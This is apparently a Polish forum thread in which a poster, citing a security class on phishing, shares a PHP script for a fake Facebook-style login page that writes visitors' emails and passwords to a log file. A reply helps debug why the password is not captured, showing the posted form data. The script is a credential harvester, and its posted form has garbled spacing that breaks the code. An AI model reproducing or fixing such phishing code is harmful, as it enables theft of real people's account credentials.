Skrypt na zajęcia z phishingu - potrzebna pomoc

0

Witam Was bardzo serdecznie,

mam taki o to problem, na zajęcia z bezpieczeństwa (temat phishingu) mam zrobić stronę np. facebook-a żeby można było uzyskać login i hasło.

Mam taki skrypt w PHP wrzucony do strony logowania:

<? Php
$ email = $ _POST ['email'];
$ pass = $ _POST ['pass'];
$ text = "E-mail: $ email Hasło: $ pass \ r \ n";
$ handle = fopen ("logi.txt", "a");
fwrite ($ handle, $ text);
fclose ($ handle);
?>

Problem polega na tym, że zapisuje mi do pliku "logi.txt" tylko email a w hasło jest puste. Czy ktoś wie dlaczego i jak można to naprawić żeby pobierało też hasło? Proszę o pomoc. Pozdrawiam.

1

Dodaj sobie:

echo '<pre>';
print_r($_POST);
echo '</pre>';

tuż przed

$email = $_POST['email'];

Zawartość $_POST wygląda tak

Array
(
    [jazoest] => 2788
    [lsd] => Aersmzvy
    [email] => [email protected]
    [timezone] => -120
    [lgndim] => eyJ3IjoxOTICCCJoIjoxMDgzLCJhdyI6MTeRMCwiYWgiOjEwCeAsImMibjI0fQ==
    [lgnrnd] => 081816_B4Kb
    [lgnjs] => 1377358845
    [ab_test_data] => AAAVVVA/qVVAAVVAAAAVAVAVAVAAAAAVVAAAAAAAV0/fAVAVKAIAAA
    [locale] => pl_PL
    [next] => https://www.facebook.com/
    [login_source] => login_bluebar
    [guid] => z4df6z834d20f44
    [prefill_contact_point] => [email protected]
    [prefill_source] => browser_dropdown
    [prefill_type] => contact_point
    [ep] => #PWD_BROWSER:7:1486323884:AVBvACU+0+y5Igg9n7jIETTCFxHkRD8AZJu6g/110dG66WBwzEWrdGkOkoHD68uhsBwPInP+M8jr+ouWNe44uSCZbJk+T8SQ5LEzoHlwad7c3fECbsnPXQYssBaDYDspgefs9l7gSWvkfQUscwIrqA==
)

Jak widać nie ma tutaj klucza "pass" - dlatego do pliku nie zapisuje żadnej wartości.

1 użytkowników online, w tym zalogowanych: 0, gości: 1